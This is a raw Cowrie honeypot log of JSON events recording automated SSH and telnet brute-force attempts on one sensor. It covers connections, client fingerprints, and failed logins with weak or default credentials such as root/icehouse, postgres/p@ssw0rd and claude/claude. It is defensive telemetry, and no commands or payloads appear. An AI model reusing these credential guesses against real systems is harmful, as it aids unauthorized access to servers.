{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:03.531172Z","src_ip":"45.156.87.69","session":"1124b240355c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:03.536780Z","src_ip":"45.156.87.69","session":"1124b240355c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"icehouse","message":"login attempt [root/icehouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:04.320743Z","src_ip":"45.156.87.69","session":"1124b240355c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.020288467407227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:04.822452Z","src_ip":"152.42.224.71","session":"ce97928e4ff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51960,"dst_ip":"10.17.0.5","dst_port":22,"session":"3457b1208235","protocol":"ssh","message":"New connection: 193.32.162.145:51960 (10.17.0.5:22) [session: 3457b1208235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:05.264380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:05.269317Z","src_ip":"193.32.162.145","session":"3457b1208235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:05.375266Z","src_ip":"193.32.162.145","session":"3457b1208235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:05.406513Z","src_ip":"45.156.87.69","session":"1124b240355c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:05.688623Z","src_ip":"193.32.162.145","session":"3457b1208235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:06.793917Z","src_ip":"193.32.162.145","session":"3457b1208235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":11492,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8f69f6187e","protocol":"ssh","message":"New connection: 45.156.87.69:11492 (159.203.135.109:22) [session: 0b8f69f6187e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:07.207399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:07.261912Z","src_ip":"45.156.87.69","session":"0b8f69f6187e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:07.357517Z","src_ip":"45.156.87.69","session":"0b8f69f6187e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p@ssw0rd","message":"login attempt [postgres/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:07.870857Z","src_ip":"45.156.87.69","session":"0b8f69f6187e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:08.956650Z","src_ip":"45.156.87.69","session":"0b8f69f6187e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":11500,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb4951d9975e","protocol":"ssh","message":"New connection: 45.156.87.69:11500 (159.203.135.109:22) [session: cb4951d9975e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:10.923198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:10.928361Z","src_ip":"45.156.87.69","session":"cb4951d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.91072654724121,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:11.004435Z","src_ip":"152.42.224.71","session":"aee37f43c7fe","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:11.023959Z","src_ip":"45.156.87.69","session":"cb4951d9975e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"password","message":"login attempt [elastic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:11.591291Z","src_ip":"45.156.87.69","session":"cb4951d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:12.681792Z","src_ip":"45.156.87.69","session":"cb4951d9975e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"607b7802d2f2","protocol":"telnet","message":"New connection: 152.42.224.71:49198 (10.17.0.5:23) [session: 607b7802d2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:12.923197Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":11520,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cad4e60f403","protocol":"ssh","message":"New connection: 45.156.87.69:11520 (159.203.135.109:22) [session: 9cad4e60f403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:14.936838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:15.176953Z","src_ip":"45.156.87.69","session":"9cad4e60f403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:15.183694Z","src_ip":"45.156.87.69","session":"9cad4e60f403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:15.949565Z","src_ip":"45.156.87.69","session":"9cad4e60f403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:17.037044Z","src_ip":"45.156.87.69","session":"9cad4e60f403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41078,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75a56e52036","protocol":"ssh","message":"New connection: 45.156.87.69:41078 (159.203.135.109:22) [session: e75a56e52036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:18.900433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:18.908918Z","src_ip":"45.156.87.69","session":"e75a56e52036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:19.025881Z","src_ip":"45.156.87.69","session":"e75a56e52036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:19.700360Z","src_ip":"45.156.87.69","session":"e75a56e52036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b39911890f","protocol":"telnet","message":"New connection: 152.42.224.71:47790 (10.17.0.5:23) [session: 88b39911890f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:20.370592Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:20.972111Z","src_ip":"45.156.87.69","session":"e75a56e52036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41088,"dst_ip":"159.203.135.109","dst_port":22,"session":"40ed27094060","protocol":"ssh","message":"New connection: 45.156.87.69:41088 (159.203.135.109:22) [session: 40ed27094060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:22.650348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:22.749270Z","src_ip":"45.156.87.69","session":"40ed27094060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:22.753127Z","src_ip":"45.156.87.69","session":"40ed27094060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:23.755664Z","src_ip":"45.156.87.69","session":"40ed27094060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:24.852473Z","src_ip":"45.156.87.69","session":"40ed27094060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63258,"dst_ip":"159.203.135.109","dst_port":22,"session":"41439aa788e8","protocol":"ssh","message":"New connection: 45.156.87.69:63258 (159.203.135.109:22) [session: 41439aa788e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:26.293002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:26.391817Z","src_ip":"45.156.87.69","session":"41439aa788e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:26.397310Z","src_ip":"45.156.87.69","session":"41439aa788e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@","message":"login attempt [root/12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:27.560413Z","src_ip":"45.156.87.69","session":"41439aa788e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:28.649053Z","src_ip":"45.156.87.69","session":"41439aa788e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0205784df442","protocol":"ssh","message":"New connection: 45.156.87.69:63274 (159.203.135.109:22) [session: 0205784df442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:30.243198Z"}
